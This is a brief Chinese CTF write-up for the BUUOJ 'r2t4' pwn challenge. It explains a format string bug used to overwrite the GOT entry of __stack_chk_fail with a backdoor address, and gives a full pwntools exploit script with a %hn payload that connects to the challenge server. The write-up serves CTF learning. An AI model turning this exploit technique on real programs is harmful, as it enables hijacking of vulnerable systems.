题目下载地址:点此下载
查保护
此处存在格式化字符串漏洞
利用格式化字符串漏洞复写got表中的__stack_chk_fail地址,这个函数的作用是,当程序出现栈溢出的时候执行此函数,利用格式化字符串漏洞把这个函数的got表地址覆盖为后门函数
EXP:
from pwn import *
context(arch='amd64',os='linux',word_size='64')
#p = process('./r2t4')
p = remote("node3.buuoj.cn",27166)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']
payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()
格式化字符串请看CTF-WIKI:传送门